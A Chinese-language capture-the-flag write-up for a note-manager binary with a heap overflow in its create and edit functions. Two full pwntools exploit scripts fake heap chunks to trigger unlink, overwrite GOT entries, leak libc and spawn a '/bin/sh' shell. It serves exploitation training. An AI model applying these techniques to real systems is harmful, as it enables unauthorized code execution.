漏洞:create和edit都没有检查长度,产生堆溢出。
基本功能:
- create notes
- display notes
- delete notes
- modify notes
- exit
交互
def create(size,content):
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil("Please enter the size of note : ")
p.sendline(str(size))
p.recvuntil("Please enter the note : ")
p.sendline(content)
def display(index):
p.recvuntil("5. exit\n")
p.sendline("2")
p.recvuntil("Please input index : ")
p.sendline(str(index))
p.recvuntil("Notes are : ")
return p.recvline()
def delete(index):
p.recvuntil("5. exit\n")
p.sendline("3")
p.recvuntil("Please input index : ")
p.sendline(str(index))
def modify(index,content):
p.recvuntil("5. exit\n")
p.sendline("4")
p.recvuntil("Please input index : ")
p.sendline(str(index))
p.recvuntil("Please enter the note : ")
p.sendline(content)
exp1:只使用create和modify功能
1、构造unlink
2、用got地址替换,设定free、puts、atoi
3、改free(ptr)为puts(got_puts)
4、改atoi(content)为system(’/bin/sh’)
create(200,"aa")#0
create(200,"bb")#1
create(200,"cc")#2
create(200,"dd")#3
delete(0)
'''
通过堆0的溢出,改写堆1和堆2的内容
堆1 (presize=0,size=0xd1)
fake_1 (presize=0,size=0xb1)
fake_2 (fd=p-0x18,size=p-0x10) p指向的fake_1的地址
……
fake_3 (presize=0xb0,size=0) 呼应fakesize
堆2 (presize=0xc0,size=0xd0) 标记前一个堆块未使用
过程:
1、释放堆2的时候,根据0xc0找到fake_1。
2、根据size0xb1往后找到fake_3会有检查,此处size设成0xc1也可以
3、unlink生效
'''
payload = "d"*192+p64(0)
payload += p64(0xd1)+p64(0)
payload += p64(0xb1)+p64(0x6020a0-0x18+16)+p64(0x6020a0-0x10+16)
payload += "d"*144+p64(0xb0)+p64(0)+p64(0xc0)+p64(0xd0)+p64(0)
create(200,payload)
delete(2)
# 任意修改got表
payload = p64(0)
payload+= p64(elf.got["free"])+p64(0xc8)
payload+= p64(elf.got["puts"])+p64(0xc8)
payload+= p64(elf.got["atoi"])+p64(0xc8)
modify(1,payload)
# 把free改成puts
modify(0,p32(elf.plt["puts"])+"\x00")
# puts(puts_addr)
delete(1)
puts_addr = p.recvuntil('\nDelete success!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# 把atoi改成system
modify(2,p64(system_addr))
# system(binsh_addr)
p.send(p64(binsh_addr))
p.interactive()
exp2
1、用edit触发unlink
2、got地址替换,设定puts、atoi
3、用程序提供的功能泄露libc
4、改atoi(content)为system(’/bin/sh’)
add(129, 'a\n')
add(129, 'b\n')
# 触发unlink
bss = 0x6020a0
fd = bss - 0x18
bk = bss - 0x10
edit(0, p64(0)+p64(0x80)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+p64(0x90)+'\n')
dele(1)
# unlink使得ptr处的指针变成ptr-0x18,所以填充0x18字节
puts = 0x602020
atoi = 0x602058
edit(0, 'a'*0x18+p64(puts)+p64(0x80)+p64(atoi)+'\n')
# 泄露libc
show(0)
libcbase = u64(io.recv(6)+'\x00\x00') - libc.symbols['puts']
print hex(libcbase)
# system('/bin/sh')
system = libcbase + libc.symbols['system']
edit(1, p64(system)+'\n')
io.recvuntil('exit\n')
io.sendline('/bin/sh\x00')
io.interactive()
反思:
1、unlink时不用在top trunk上添加一个间隔块。
2、应灵活使用程序本身提供的功能来提供方便。
相关资源:
https://gitee.com/sunrise1/CTF/blob/master/w4-1.zip